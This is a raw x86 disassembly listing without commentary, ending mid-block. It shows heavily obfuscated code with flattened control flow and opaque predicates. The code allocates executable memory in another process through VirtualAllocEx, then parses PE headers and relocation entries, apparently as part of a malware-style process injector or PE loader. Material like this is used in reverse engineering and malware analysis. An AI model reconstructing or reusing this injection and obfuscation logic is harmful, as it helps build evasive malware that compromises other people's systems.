cmp ecx, 0xffffffff
mov ecx, 0xc44247ed
jmp 0x4016e3
cmp eax, 0xb2716f08
jg 0x40399c
cmp eax, 0xb14047db
je 0x4048b4
cmp eax, 0xb19a5594
jne 0x401700
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x60]
mov edx, dword [edx]
mov esi, dword [ebp - 0x34]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, 0x3d3938ca
jmp 0x401700
cmp eax, 0x7210a8a0
jg 0x4039fd
cmp eax, 0x71a47dab
je 0x4048d2
cmp eax, 0x71c30f08
jne 0x401700
mov eax, 0x4bb3a26d
jmp 0x401700
cmp eax, 0xf6c59986
jg 0x403a2b
cmp eax, 0xf5b152fe
je 0x4048e8
cmp eax, 0xf5bfd686
jne 0x401700
mov eax, dword [ebp - 0x4c]
mov esi, 0x51dd3e28
mov edi, 0xafaa58f9
mov dword [eax], 4
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xafaa58f9
jmp 0x404d27
cmp eax, 0x31c7495a
jg 0x403a94
cmp eax, 0x302f0e32
je 0x40490e
cmp eax, 0x304e3ddb
jne 0x401700
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x5c]
mov edi, 0x7ef68abd
mov esi, 0x4ab2dc30
inc eax
mov dword [ecx], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4ab2dc30
jmp 0x4016e3
cmp eax, 0x85461183
jg 0x403ae2
cmp eax, 0x8426d6ec
je 0x404927
cmp eax, 0x8498656a
jne 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x6effbc9f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xbc6082fb
jmp 0x404693
cmp eax, 0x470586d2
je 0x40495e
cmp eax, 0x47be4883
jne 0x401700
push 0x40
push 0x3000
push dword [ebp - 0x158]
push 0
push dword [ebp - 0x15c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xe4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, 0x56d6eaf1
jmp 0x401700
cmp eax, 0xc822d06d
je 0x40499e
cmp eax, 0xc895e751
jne 0x401700
mov eax, dword [ebp - 0x88]
mov eax, dword [0x4a33e0]
mov esi, 0x2e7c5075
mov edi, 0x41106a87
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x41106a87
jmp 0x40379a
cmp eax, 0x84fe72f
je 0x4049ab
cmp eax, 0x852f01a
jne 0x401700
mov eax, 0xe28bc280
jmp 0x401700
cmp eax, 0xa972be0d
je 0x4049c1
cmp eax, 0xaa5661a1
jne 0x401700
cmp dword [ebp - 0x12c], 0
mov eax, dword [0x4a33e0]
mov esi, 0x828048b2
mov ebx, 0xa191195b
lea ecx, [eax + 1]
setne byte [ebp - 0x7e]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa191195b
jmp 0x404f0f
cmp eax, 0x65838ecd
je 0x404a20
cmp eax, 0x680221f0
jne 0x401700
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xfc], eax
mov eax, 0xabbc940d
jmp 0x401700
cmp eax, 0xebb23988
je 0x404a85
cmp eax, 0xecae8bd0
jne 0x401700
mov eax, 0x75a83161
jmp 0x401700
cmp eax, 0x26a55b6c
je 0x404aab
cmp eax, 0x277fcf22
jne 0x401700
movzx ecx, byte [ebp - 0x75]
movzx eax, byte [ebp - 0x76]
mov esi, 0xb07a0990
mov edi, 0xd8c5d3a6
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xd8c5d3a6
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x401700
cmp eax, 0x92f66cbc
je 0x404ac1
cmp eax, 0x959473c7
jne 0x401700
mov eax, 0x26a55b6c
jmp 0x401700
cmp eax, 0x5536aa4c
je 0x404af5
cmp eax, 0x5552ec57
jne 0x401700
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, 0xe6632ad0
jmp 0x401700
cmp eax, 0xd8c5d3a6
je 0x404b0b
cmp eax, 0xdbc20c80
jne 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x9a7e3d55
mov edi, 0x15501f2a
jmp 0x404d9e
cmp eax, 0x15501f2a
je 0x404b15
cmp eax, 0x15eb7449
jne 0x401700
mov eax, 0x35a9f20f
jmp 0x401700
cmp eax, 0xb6d6ff4e
je 0x404b39
cmp eax, 0xb7754528
jne 0x401700
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x4a33e0]
mov esi, 0x48c3dece
mov edi, 0x60c22994
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x60c22994
jmp 0x404d27
cmp eax, 0x7757a0bc
je 0x404b4e
cmp eax, 0x77b47ab6
jne 0x401700
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
lea eax, [eax + eax*4]
cmp dword [ecx + eax*4 + 0x10], 0
mov eax, 0x8003706
setne byte [ebp - 0x7a]
jmp 0x401700
cmp eax, 0xfc54bf22
je 0x404b58
cmp eax, 0xfcc91bf0
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xfd3642d4
jmp 0x401700
cmp eax, 0x394d0075
je 0x404b62
cmp eax, 0x3bf7b4b3
jne 0x401700
mov eax, 0xcdeb345e
jmp 0x401700
cmp eax, 0x828048b2
je 0x404b7c
cmp eax, 0x828a2bb0
jne 0x401700
mov eax, dword [ebp - 0x160]
movzx eax, word [eax + 2]
mov word [ebp - 0xbe], ax
mov eax, 0x50b39357
jmp 0x401700
cmp eax, 0x421e2916
je 0x404b92
cmp eax, 0x4307972f
jne 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x4dc53163
mov edi, 0x1e65b173
jmp 0x404d9e
cmp eax, 0xc4112dc5
je 0x404bb0
cmp eax, 0xc44247ed
jne 0x401700
mov eax, dword [ebp - 0x124]
mov eax, 0x8bc4f79d
jmp 0x401700
cmp eax, 0x6093863
je 0x404be1
cmp eax, 0x7a6428a
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x38]
mov eax, 0xb8b55bdf
jmp 0x401700
cmp eax, 0xa464fb26
je 0x404bfc
cmp eax, 0xa77e3936
jne 0x401700
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, 0x57a95d7
jmp 0x401700
cmp eax, 0x63a65773
je 0x404c23
cmp eax, 0x64d5b9a0
jne 0x401700
mov eax, 0x9281e522
jmp 0x401700
cmp eax, 0xe93cfa45
je 0x404c53
cmp eax, 0xe9fe645b
jne 0x401700
mov eax, dword [ebp - 0x8c]
mov eax, 0xef587bed
jmp 0x401700
cmp eax, 0x219ec695
je 0x404c7f
cmp eax, 0x2201e42a
jne 0x401700
mov eax, 0x99caa84
jmp 0x401700
cmp eax, 0x8fffa785
je 0x404c99
cmp eax, 0x90ec7a5f
jne 0x401700
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, 0xa89513b1
jmp 0x401700
cmp eax, 0x50b39357
je 0x404cc0
cmp eax, 0x51dd3e28
jne 0x401700
mov eax, 0xea9923c
jmp 0x401700
cmp eax, 0xd66e618d
je 0x404d05
cmp eax, 0xd734a271
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 5
mov eax, 0xc895e751
jmp 0x401700
cmp eax, 0xf25e7a5
je 0x404d3f
cmp eax, 0x10aa78d0
jne 0x401700
mov eax, 0x3d45d69c
jmp 0x401700
cmp eax, 0xb36dc79a
je 0x404d55
cmp eax, 0xb3a385c4
jne 0x401700
mov eax, dword [ebp - 0xa4]
mov eax, 0x92f66cbc
jmp 0x401700
cmp eax, 0x727ccc4b
je 0x4016c1
cmp eax, 0x739b1c06
jne 0x401700
mov eax, dword [ebp - 0x40]
mov esi, 0x577c70fc
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xec]
mov dword [ecx], eax
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x85461184
jmp 0x404693
cmp eax, 0xf93c525b
je 0x404d5f
cmp eax, 0xf99ee89e
jne 0x401700
mov eax, 0xc8a44b5a
jmp 0x401700
cmp eax, 0x32d1d20b
je 0x404d74
cmp eax, 0x32ee460e
jne 0x401700
mov eax, dword [ebp - 0xfc]
mov edi, 0xc523155f
mov esi, 0x2515bd22
mov dword [ebp - 0x144], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2515bd22
jmp 0x4047ef
cmp eax, 0x88bffac4
je 0x404d7e
cmp eax, 0x8a24a109
jne 0x401700
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, 0xa086048
jmp 0x401700
cmp eax, 0x4ba927c3
je 0x404d88
cmp eax, 0x4bb3a26d
jne 0x401700
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0xa38e8814
jmp 0x401700
cmp eax, 0xcbe75941
je 0x404dcb
cmp eax, 0xcd736adb
jne 0x401700
cmp byte [ebp - 0x7f], 0
mov eax, 0x5c5cff59
mov ecx, 0x7210a8a1
cmovne eax, ecx
jmp 0x401700
cmp eax, 0xb197746
je 0x404df2
cmp eax, 0xb88cef9
jne 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x6dcac1f2
mov edi, 0x53dfc14b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x53dfc14b
jmp 0x405108
cmp eax, 0xaf90033b
je 0x404e08
cmp eax, 0xafaa58f9
jne 0x401700
mov eax, dword [ebp - 0x4c]
mov dword [eax], 4
mov eax, 0xf5bfd686
jmp 0x401700
cmp eax, 0x6dcac1f2
je 0x404e1e
cmp eax, 0x6effbc9f
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xfdffa4c3
mov esi, 0xbc6082fb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xbc6082fb
jmp 0x4016e3
cmp eax, 0xef587bed
je 0x404e7c
cmp eax, 0xf2496772
jne 0x401700
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x40
mov eax, 0xbb614e87
jmp 0x401700
cmp eax, 0x2afc37cc
je 0x404ea2
cmp eax, 0x2ca62552
jne 0x401700
mov eax, dword [ebp - 0x100]
mov esi, 0x52ee5072
mov edi, 0x2677fbee
movzx eax, word [eax]
add eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2677fbee
jmp 0x405108
cmp eax, 0x9a25083d
je 0x404eed
cmp eax, 0x9a7e3d55
jne 0x401700
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, 0x15501f2a
jmp 0x401700
cmp eax, 0x5819322e
je 0x404f2e
cmp eax, 0x5a0e442a
jne 0x401700
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
mov eax, 0xc6d5a650
jmp 0x401700
cmp eax, 0xe03e610b
je 0x404f89
cmp eax, 0xe24fb6c2
jne 0x401700
mov eax, 0x5a0e442a
jmp 0x401700
cmp eax, 0x1a53f9b6
je 0x404fb0
cmp eax, 0x1a595423
jne 0x401700
cmp dword [ebp - 0x1b8], 0
mov eax, 0x40115954
jmp 0x4044d0
cmp eax, 0xbb614e87
je 0x404fba
cmp eax, 0xbc6082fb
jne 0x401700
mov eax, 0x6effbc9f
jmp 0x401700
cmp eax, 0x7c67daf9
je 0x404fc4
cmp eax, 0x7d349d48
jne 0x401700
mov eax, dword [ebp - 0x24]
mov ecx, 0x40000000
mov edi, 0xe73402eb
mov esi, 0xfdafdb88
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xfdafdb88
jmp 0x4016e3
cmp eax, 0xfee09df4
je 0x404fda
cmp eax, 0xff018240
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov esi, 0xe6c68224
mov edi, 0x5bf8c928
mov dword [eax], 7
jmp 0x404b28
cmp eax, 0x36972873
je 0x404fe4
cmp eax, 0x37df819c
jne 0x401700
mov eax, 0x52f1ba8c
jmp 0x401700
cmp eax, 0x8092d095
je 0x404ffe
cmp eax, 0x80cdd022
jne 0x401700
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0xb14047db
jmp 0x401700
cmp eax, 0x41106a87
je 0x40503b
cmp eax, 0x41e752da
jne 0x401700
mov eax, dword [ebp - 0x6c]
mov eax, dword [0x4a33e0]
mov edi, 0x1e10d2c5
mov esi, 0x1d0cdbae
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1d0cdbae
jmp 0x4016e3
cmp eax, 0xc1bb7d25
je 0x405045
cmp eax, 0xc2cf921d
jne 0x401700
mov eax, 0x17a88111
jmp 0x401700
cmp eax, 0x4f30dc0
je 0x40508b
cmp eax, 0x57a95d7
jne 0x401700
mov eax, dword [ebp - 0x18]
mov esi, 0x29577175
mov edi, 0xa77e3936
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10c], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa77e3936
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x405108
cmp eax, 0xa3d2a415
je 0x40509e
cmp eax, 0xa40545a2
jne 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0xeaec543c
mov ebx, 0x4f30dc0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4f30dc0
jmp 0x404752
cmp eax, 0x62780c56
je 0x4050b8
cmp eax, 0x62e3e152
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xa972be0d
mov esi, 0x1ab4733e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1ab4733e
jmp 0x403f8f
cmp eax, 0xe81ae6a0
je 0x4050c2
cmp eax, 0xe9014855
jne 0x401700
mov eax, 0xa3d2a415
jmp 0x401700
cmp eax, 0x1e65b173
je 0x4050d5
cmp eax, 0x20396fea
jne 0x401700
mov eax, 0xa464fb26
jmp 0x401700
cmp eax, 0x8f7a6b81
je 0x405125
cmp eax, 0x8fbcc1ae
jne 0x401700
movzx eax, word [ebp - 0xbe]
mov eax, dword [ebp - 0x104]
mov eax, 0x9f565eec
jmp 0x401700
cmp eax, 0x4ea69551
je 0x405138
cmp eax, 0x5077f412
jne 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x2ca62552
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2677fbee
jmp 0x404cef
cmp eax, 0xd0b5644b
je 0x405142
cmp eax, 0xd2ad5acf
jne 0x401700
mov ecx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x727ccc4b
lea edx, [ecx - 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0x24715617
cmovne ecx, esi
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
cmovge edx, ecx
mov eax, edx
jmp 0x401700
cmp eax, 0xea9923c
je 0x40514c
cmp eax, 0xf19c487
jne 0x401700
mov eax, dword [ebp - 0xe4]
mov eax, dword [0x4a33e0]
mov edi, 0xc4112dc5
mov esi, 0xa8ac9ecc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa8ac9ecc
jmp 0x4047ef
cmp eax, 0xb2716f09
je 0x405172
cmp eax, 0xb27dadb0
jne 0x401700
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x14]
mov dword [ebp - 0x164], eax
mov eax, 0xdc0a7b49
jmp 0x401700
cmp eax, 0x7210a8a1
je 0x405187
cmp eax, 0x724ff428
jne 0x401700
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x180], eax
mov eax, 0xf34c0e47
jmp 0x401700
cmp eax, 0xf6c59987
je 0x4051ad
cmp eax, 0xf8413ec5
jne 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x5536aa4c
mov edi, 0x959473c7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x118]
cmovge eax, esi
cmp ecx, dword [ebp - 0x11c]
setl byte [ebp - 0x79]
jmp 0x401700
cmp eax, 0x31c7495b
je 0x4051f1
cmp eax, 0x31d24776
jne 0x401700
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
xor edx, 0xfffff000
and edx, ecx
movzx ecx, dx
add ecx, dword [eax]
mov eax, 0xb6d6ff4e
mov dword [ebp - 0xec], ecx
jmp 0x401700
cmp eax, 0x85461184
je 0x405218
cmp eax, 0x879bb269
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, 0x63a65773
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov edi, 0x1323fe13
mov esi, 0x60c22994
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x60c22994
jmp 0x4016e3
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x88]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, 0xf93c525b
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xf99ee89e
mov edi, 0x6bd6645d
jmp 0x404d9e
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0xbf95e40
jmp 0x401700
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0x302f0e32
jmp 0x401700
mov eax, 0xe24fb6c2
jmp 0x401700
mov eax, dword [ebp - 0x64]
mov eax, 0xb7754528
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x2515bd22
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x32ee460e
jmp 0x40502c
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, 0x470586d2
jmp 0x401700
mov eax, 0x31c7495b
jmp 0x401700
mov eax, 0x80cdd022
jmp 0x401700
mov eax, 0x80472b8d
jmp 0x401700
mov eax, 0x5077f412
jmp 0x401700
mov eax, 0xebb23988
jmp 0x401700
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x130], eax
mov eax, 0x2fe44c07
jmp 0x401700
mov eax, dword [ebp - 0x98]
mov ecx, 0xa87268b0
cmp dword [eax], 0
mov eax, 0xb19a5594
cmove eax, ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xbccbbb63
mov esi, 0xf9f0f29e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf9f0f29e
jmp 0x403f8f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x84]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043cf40
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, 0x62e3e152
jmp 0x401700
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, 0x5676d47d
jmp 0x401700
mov eax, 0x36893040
jmp 0x401700
mov eax, 0xab6a3f6f
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xce9547d9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x995b6a2c
jmp 0x404693
mov eax, dword [ebp - 0x138]
mov ecx, 0x6550be2f
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], 0
mov eax, 0xcda53a1b
cmove eax, ecx
jmp 0x401700
mov eax, 0x8300dac6
jmp 0x401700
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xaf90033b
setne byte [ebp - 0x7c]
jmp 0x401700
mov eax, 0x4a0f245e
jmp 0x401700
mov eax, 0xe81ae6a0
jmp 0x401700
mov eax, dword [ebp - 0x24]
mov eax, 0x7d349d48
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xd0b5644b
mov edi, 0xf5b152fe
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xd0]
jmp 0x4051e7
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x54]
add eax, 4
mov dword [ebp - 0x114], eax
mov eax, 0x4307972f
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x5e86e88c
mov ebx, 0xd002a74d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd002a74d
jmp 0x404752
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0x4c3df995
jmp 0x401700
cmp byte [ebp - 0x78], 0
mov eax, 0xd734a271
mov ecx, 0xe9fe645b
cmovne eax, ecx
jmp 0x401700
mov eax, 0x43c1852d
jmp 0x401700
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, 0xdeae5fc
jmp 0x401700
mov ecx, dword [ebp - 0x144]
mov eax, 0x75d8ad8b
mov dword [ebp - 0xf8], ecx
jmp 0x401700
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [eax]
mov eax, 0xf19c487
mov ecx, 0x56d6eaf1
cmove eax, ecx
jmp 0x401700
cmp byte [ebp - 0x7a], 0
mov eax, 0x8f7a6b81
mov ecx, 0xd86ad8a5
cmovne eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x1a0], eax
mov eax, 0xb69d1286
jmp 0x401700
mov eax, dword [ebp - 0x10c]
mov esi, 0xee6c9847
mov ebx, 0x90ec7a5f
mov eax, dword [eax]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0x174], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x90ec7a5f
jmp 0x404752
mov eax, 0xeb3016a1
jmp 0x401700
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0x77b47ab6
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov edi, 0xfc54bf22
mov esi, 0x4f30dc0
mov dword [eax], 2
mov eax, dword [0x4a33e0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x4f30dc0
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x4047ef
mov eax, dword [0x4a33e0]
mov esi, 0xeb537ca1
mov edi, 0x64fb488d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
